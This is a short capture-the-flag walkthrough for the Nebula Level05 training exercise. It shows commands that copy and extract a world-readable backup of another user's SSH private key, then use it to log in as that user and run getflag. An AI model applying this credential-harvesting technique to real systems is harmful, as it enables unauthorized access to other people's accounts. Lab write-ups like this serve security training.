In Level05 we are pointed to the flag05 user directory. There we can find a .ssh directory so we can assume that flag05 uses ssh keys to login into his account and also a .backup folder:

level05@nebula:~$ ls -la /home/flag05  
total 36  
drwxr-x---  5 flag05 level05 4096 Nov 20 16:49 .  
drwxr-xr-x 43 root   root    4096 Nov 20  2011 ..  
drwxr-xr-x  2 flag05 flag05  4096 Nov 20  2011 .backup  
-rw-------  1 flag05 flag05     8 Nov 20 16:49 .bash_history
-rw-r--r--  1 flag05 flag05   220 May 18  2011 .bash_logout
-rw-r--r--  1 flag05 flag05  3353 May 18  2011 .bashrc
drwx------  2 flag05 flag05  4096 Nov 20 16:28 .cache  
-rw-r--r--  1 flag05 flag05   675 May 18  2011 .profile
drwx------  2 flag05 flag05  4096 Nov 20  2011 .ssh  

Within the .backup folder there is a backup-19072011.tgz that we will open to find a backup of flag05 ssh keys!. All we need to do is ssh into the flag05 account and run the getflag command:

level05@nebula:~$ cp /home/flag05/.backup/backup-19072011.tgz /home/level05  
level05@nebula:~$ tar -xvzf backup-19072011.tgz  
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:~$ ls  
backup-19072011.tgz  
level05@nebula:~$ ssh flag05@nebula  
The authenticity of host 'nebula (127.0.1.1)' can't be established.  
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.  
Are you sure you want to continue connecting (yes/no)? yes  
Warning: Permanently added 'nebula' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where  
XX is the level number.

Currently there are 20 levels (00 - 19).


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flag05@nebula:~$ getflag  
You have successfully executed getflag on a target account